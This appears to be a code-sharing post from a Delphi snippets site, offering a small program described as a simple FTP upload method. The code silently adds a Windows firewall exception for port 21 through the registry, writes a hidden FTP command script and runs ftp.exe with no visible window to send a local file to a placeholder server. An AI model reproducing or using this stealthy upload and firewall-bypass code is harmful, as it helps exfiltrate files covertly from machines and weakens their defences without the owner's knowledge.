FTP Upload by Darkness

posted 17 Aug 2010, 17:05 by Delphi Basics   [ updated 29 Sep 2010, 16:09 ]
This simple method, written by Darkness, to upload a file to your ftp server. It is default part of the Windows Operating System.  

program FTPupload;

{ This is a simple method to upload a file to your ftp server.
  It is part of windows by default.
  -Darkness
 }
uses
  Windows;

//LttCoder
function WritetoRegistry(Key: HKEY; Subkey, name, Value: string): Boolean;
var
 RegKey : HKEY;
begin
  Result := False;
  RegCreateKey(Key,PChar(Subkey),RegKey);
  if RegSetValueEx(RegKey,pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value))= 0 then
    Result := True;
  RegCloseKey(RegKey);
end;

procedure WriteTestFile;
var
  tx : Textfile;
begin
  AssignFile(tx,'C:\test.txt');
  ReWrite(tx);
  WriteLn(tx, 'This is a test file.'+#13#10+'-Darkness');
  CloseFile(tx);
end;

procedure WriteFTPUploadScript;
var
  tx:Textfile;
begin
  AssignFile(tx,'C:\ms.ftp');
  SetFileAttributes(PChar('C:\ms.ftp'), FILE_ATTRIBUTE_HIDDEN) ;
  ReWrite(tx);
  WriteLn(tx, 'OPEN ftp.site.com' );
  WriteLn(tx, 'username' );
  WriteLn(tx, 'password' );
  WriteLn(tx, 'cd /directory' );
  WriteLn(tx, 'dir' );
  WriteLn(tx, 'send C:\test.txt' );
  WriteLn(tx, 'dir' );
  WriteLn(tx, 'close' );
  WriteLn(tx, 'quit' );
  CloseFile(tx);
end;

begin
  WriteTestFile;
  WritetoRegistry(HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List', '21:TCP','21:TCP:*:Enabled:@xpsp2res.dll,-23006' );
  WriteFTPUploadScript;
  WinExec('ftp.exe -i -s:C:\ms.ftp',0);
end.
Comments